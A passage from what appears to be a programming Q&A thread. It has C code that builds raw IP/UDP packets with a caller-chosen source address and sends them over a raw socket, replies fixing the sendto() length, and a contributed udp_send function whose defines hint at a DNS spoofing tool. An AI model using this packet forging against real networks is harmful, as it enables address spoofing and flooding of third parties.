const int *val = &one;
printf("IP Header Size: %lu \n", sizeof(struct ip));
printf("UDP Header Size: %lu \n", sizeof(struct udphdr));
printf("Data Size: %d\n", DATA_SIZE);
printf("IP Total: %lu \n", sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE);
memset(buffer, 0, PCKT_LEN);
if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}
// Create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");
//Bind the socket to the source address and port.
BindRawSocketToInterface(sd, argv[1], atoi(argv[2]));
// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(int)) < 0)
{
perror("setsockopt() error");
close(sd);
exit(-1);
}
else
printf("setsockopt() is OK.\n");
// The source is redundant, may be used later if needed
// The address family
to_addr.sin_family = AF_INET;
to_addr.sin_addr.s_addr = inet_addr(argv[3]);
to_addr.sin_port = htons(atoi(argv[4]));
//Create the IP header.
struct ip *ip_header = CreateIPHeader(argv[1], argv[3]);
//Create the UDP header.
struct udphdr *udp_header = CreateUdpHeader(argv[2], argv[4]);
//Compute UDP checksum
CreatePseudoHeaderAndComputeUdpChecksum(udp_header, ip_header, (unsigned char*)data);
//Copy IP header, UDP header, and data to the packet buffer.
memcpy(buffer, ip_header, sizeof(struct ip));
memcpy(buffer + sizeof(struct ip), udp_header, 8 /*sizeof(struct udphdr)*/);
memcpy(buffer + sizeof(struct ip) + 8, data, DATA_SIZE);
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
if(sendto(sd, buffer, htons(20)/*ip_header->ip_len*/, 0, (struct sockaddr *)&to_addr, sizeof(to_addr)) < 0)
{
perror("sendto() error");
}
else
{
printf("sendto() is OK.\n");
}
free(ip_header);
free(udp_header);
close(sd);
return 0;
}
if(sendto(sd, buffer, htons(20)/*ip_header->ip_len*/, 0, (struct sockaddr *)&to_addr, sizeof(to_addr)) < 0)
The length here is wrong, you should not specify that in network byte order.
A simple 20 is enough. htons(20) will be a very large number on a little endian machine.
( if you want to send other things that just the IP header, you should include that too in the length,, sounds like your buffer is 40 bytes, not 20)
You can use my own function that i don't have your problem:
#define NDEBUG
#define COUNTMAX 3000
#define MAX_FAKE 100
#define ERROR -1
#define TYPE_A 1
#define TYPE_PTR 12
#define CLASS_INET 1
#define ERROR -1
#ifndef IPVERSION
#define IPVERSION 4
#endif /* IPVERISON */
#ifndef IP_MAXPACKET
#define IP_MAXPACKET 65535
#endif /* IP_MAXPACKET */
#define DNSHDRSIZE 12
#ifndef IP_MAXPACKET
#define IP_MAXPACKET 65535
#endif /* IP_MAXPACKET */
#define IPHDRSIZE sizeof(struct iphdr)
#define UDPHDRSIZE sizeof(struct udphdr)
int udp_send(int s, unsigned long saddr, unsigned long daddr,unsigned short sport,unsigned short dport,char *datagram, unsigned datasize)
{
struct sockaddr_in sin;
struct iphdr *ip;
struct udphdr *udp;
unsigned char *data;
unsigned char packet[4024];
ip = (struct iphdr *)packet;
udp = (struct udphdr *)(packet+IPHDRSIZE);
data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);
memset(packet,0,sizeof(packet));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(UDPHDRSIZE+datasize);
udp->check = 0;
memcpy(data,datagram,datasize);
ip->saddr.s_addr = saddr;
ip->daddr.s_addr = daddr;
ip->version = 4; /*ip version*/
ip->ihl = 5;
ip->ttl = 245;
ip->id = random()%5985;
ip->protocol = IPPROTO_UDP; /*protocol type*/
ip->tot_len = htons((IPHDRSIZE + UDPHDRSIZE + datasize));
ip->check = 0;
ip->check = in_cksum((char *)packet,IPHDRSIZE);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=daddr;
sin.sin_port=udp->dest;
printf ("socket: %d, packet: %s,size: %d, struct addr: %p, size: %i", s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, (struct sockaddr*)&sin, sizeof(struct sockaddr));
return sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr));
}// end of udp_send function
The call to sendto() doesn't appear to be right as shown, even corrected per the comments:
Original: sendto(sd, buffer, htons(20)/ip_header->ip_len/,...);
Orr as corrected: sendto(sd, buffer, 20/ip_header->ip_len/,...);
The data length parameter should be the sum of header and data lengths: 20+8+12 = 40. A general solution could be:
sendto(sd, buffer, sizeof(struct ip) + sizeof(struct udphdr) + DATA_SIZE,...);
With this change it started working for me.